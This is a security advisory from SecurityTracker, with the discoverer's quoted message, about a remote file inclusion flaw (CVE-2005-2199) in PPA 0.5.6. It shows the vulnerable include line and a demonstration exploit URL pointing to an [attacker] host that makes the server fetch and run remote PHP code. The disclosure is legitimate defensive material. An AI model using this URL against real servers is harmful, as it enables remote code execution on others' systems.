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Category:   Application (Multimedia)  >   PPA Vendors:   WrYBiT
PPA Include File Bug Lets Remote Users Execute Arbitrary Commands
SecurityTracker Alert ID:  1014436
SecurityTracker URL:  http://securitytracker.com/id/1014436
CVE Reference:   CVE-2005-2199   (Links to External Site)
Updated:  Jun 15 2008
Original Entry Date:  Jul 10 2005
Impact:   Execution of arbitrary code via network, User access via network
Exploit Included:  Yes  
Version(s): 0.5.6
Description:   V4mu from Anomaly 1n The System reported a vulnerability in PPA. A remote user can execute arbitrary commands on the target system.

The 'inc/functions.inc.php' script includes the 'inc/config.inc.php' file relative to the user-supplied 'ppa_root_path' parameter without properly validating the input. A remote user can supply a specially crafted URL to cause the target system to include and execute arbitrary PHP code from a remote location. The PHP code, including operating system commands, will run with the privileges of the target web service.

A demonstration exploit URL is provided:

http://[path-to-ppa]/inc/functions.inc.php?config[ppa_root_path]=http://[attacker]

Impact:   A remote user can execute arbitrary PHP code and operating system commands on the target system with the privileges of the target web service.
Solution:   No solution was available at the time of this entry.
Vendor URL:  www.ppa.baiz.org/ppa/index.php (Links to External Site)
Cause:   Input validation error, State error
Underlying OS:   Linux (Any), UNIX (Any), Windows (Any)

Message History:   None.


 Source Message Contents

Date:  Sat, 9 Jul 2005 11:12:01 -0300
Subject:  ppa remote file inclusion


PPA 0.5.6 has a remote file inclusion founded by
V4mu from Anomaly 1n The System
 
the bug is in inc/functions.inc.php line 10:
 
include($config['ppa_root_path'] . "inc/config.inc.php");

Exploit:
 
www.target.com/[path-to-ppa]/inc/functions.inc.php?config[ppa_root_path]=http://[attacker]
 
------------------------------------------------------------------------------------------------------------------------
 
[A]nomaly [1]n [T]he [S]ystem
 
We are: 
 
V4mu <*> S0l4r1s <*> r3ckd4ll <*> paulinhu <*> nicked
 
www.a1ts.org
 
 


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